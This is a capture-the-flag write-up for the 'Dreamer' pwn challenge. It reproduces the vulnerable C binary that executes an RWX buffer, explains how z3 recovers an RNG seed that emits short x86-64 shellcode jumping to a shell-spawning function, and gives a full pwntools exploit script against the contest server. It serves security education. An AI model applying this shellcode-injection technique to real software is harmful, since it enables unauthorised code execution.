Dreamer

It would be a shame if you could exploit this sleepy binary.

Category: pwn, misc

Solver: rgw, abc013, Liekedaeler, MarDN

Flag: GPNCTF{sh0rt_she11c0de_1s_c00l}

Writeup

We are given a compiled binary dream and its source code dream.c:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#define ROTL(X, N)  (((X) << (N)) | ((X) >> (8 * sizeof(X) - (N))))
#define ROTR(X, N)  (((X) >> (N)) | ((X) << (8 * sizeof(X) - (N))))
unsigned long STATE; 
unsigned long CURRENT;

char custom_random(){
    STATE = ROTL(STATE,30) ^ ROTR(STATE,12) ^ ROTL(STATE,42) ^ ROTL(STATE,4) ^ ROTR(STATE,5);
    return STATE % 256;

}

void* experience(long origin){
  char* ccol= mmap (0,1024, PROT_READ|PROT_WRITE|PROT_EXEC,
              MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    size_t k = 0;
    while(k<106){
        *(ccol+k) = 0x90; //nop just in case;
        k++;
    }
    k=16;
    *((int*)ccol) = origin;
    while(k<100){
        *(ccol+k)=custom_random();
        k++;
    }
    return ccol;

}

void sleepy(void * dream){
    int (*d)(void) = (void*)dream;
    d();
}


void win(){
    execv("/bin/sh",NULL);
}

void setup(){
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

int main(){
    setup();
    long seed=0;
    printf("the win is yours at %p\n", win);
    scanf("%ld",&seed); 
    STATE = seed;
    printf("what are you thinking about?");
    scanf("%ld",&seed);
    sleepy(experience(seed));
}

During execution, we are given the address of the win function that calls execv("/bin/sh",NULL). In experience(), an RWX segment is allocated using mmap. We can supply two values for this segment:

We can supply an long that is casted to an int that is written two the first 4 bytes of the segment
The following 12 bytes are filled with nop instructions
The following 84 bytes are filled with 1-byte outputs of a custom random number generator to which we can supply the seed.

After filling in the contents of the segment, the segment is casted to a function and executed.

We can reimplement the random number generator using z3 [1]. This allows us to determine a seed that will make the random number generator generate a sequence of given bytes. However, the longer our shellcode is, the harder it is to find a solution. In practice, getting solutions for <= 7 bytes of output was nearly instant, only some instances were solvable for 8 bytes of output and we did not find any solutions for >8 bytes.

Therefore, we need to find short shellcode that can be split into two parts. When debugging the binary, we notice that just before jumping to the RWX segment, the r15 register contains a value close to the address of win. We also notice that this offset is constant (11066) over multiple executions. Since operations on r15 lead to relatively long instructions, we decided to move the value into another register, rdx. Since the offset 11066 is this small, we can make the subtraction instruction smaller by only subtracting from the lower 2 bytes of rdx, dx, since 11066 is only encoded in 2 bytes instead of 8.

We therefore use the following shellcode:

# encode instructions into first four bytes
mov rdx, r15 
nop
# encode instructions into RNG seed
sub dx, 11066
call rdx

This shellcode only needs 7 bytes of RNG output, so we can easily find a corresponding RNG seed. Therefore, our final solution script looks like this:

from z3 import *
from pwn import *

context.arch = 'amd64'

first_bytes = asm("""
mov rdx, r15
nop
""")
known_first_bytes = asm("""
sub dx, 11066
call rdx
""")

initial_state = BitVec('initial_state', 64)

solver = Solver()
states = [initial_state]
for _ in range(len(known_first_bytes)):
    next_state = (RotateLeft(states[-1], 30) ^
                RotateRight(states[-1], 12) ^
                RotateLeft(states[-1], 42) ^
                RotateLeft(states[-1], 4) ^
                RotateRight(states[-1], 5))
    states.append(next_state)

for i in range(len(known_first_bytes)):
    first_byte = states[i+1] & 0xFF
    solver.add(first_byte == known_first_bytes[i])

if solver.check() != sat:
    print("no solution found")
    exit(-1)
model = solver.model()
initial_value = model[initial_state].as_signed_long()

long = str(int.from_bytes(first_bytes, 'little')).encode()
print("initial state", initial_value)

context.log_level = 'debug'

context.terminal = 'st'
#r = gdb.debug('./dreamer/dream', gdbscript='''b sleepy
#c''')
#r = process('./dreamer/dream')
r = remote("summer-son--texas-8497.ctf.kitctf.de", "443", ssl=True)
r.readline()
r.sendline(str(initial_value).encode())
r.recvuntil(b'?')
r.sendline(long)
r.interactive()

We get a shell and by running cat /flag.txt, we get the flag GPNCTF{sh0rt_she11c0de_1s_c00l}. We didn’t even need the address leak 😉

References

https://github.com/Z3Prover/z3

Writeup#

References#

Writeup

References